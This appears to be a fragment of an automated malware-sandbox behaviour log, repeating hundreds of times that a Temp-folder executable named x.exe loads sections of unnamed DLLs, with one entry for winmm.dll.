Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
